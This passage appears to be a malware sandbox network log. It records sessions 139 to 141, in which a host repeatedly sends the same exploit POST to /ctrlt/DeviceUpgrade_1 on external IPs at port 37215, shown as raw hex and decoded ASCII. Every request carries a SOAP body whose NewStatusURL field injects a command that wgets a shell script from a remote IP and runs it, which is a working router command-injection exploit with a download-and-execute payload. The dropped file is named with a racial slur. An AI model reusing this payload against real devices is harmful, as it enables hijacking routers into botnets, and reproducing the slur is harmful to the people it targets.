/tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	33644	156.253.43.45	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:56.004748106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:00.167900085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.310951948 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.341293097 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	39958	156.77.131.214	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:56.582195997 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	44690	156.254.78.248	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:56.782255888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:00.935720921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.078984976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.109190941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh 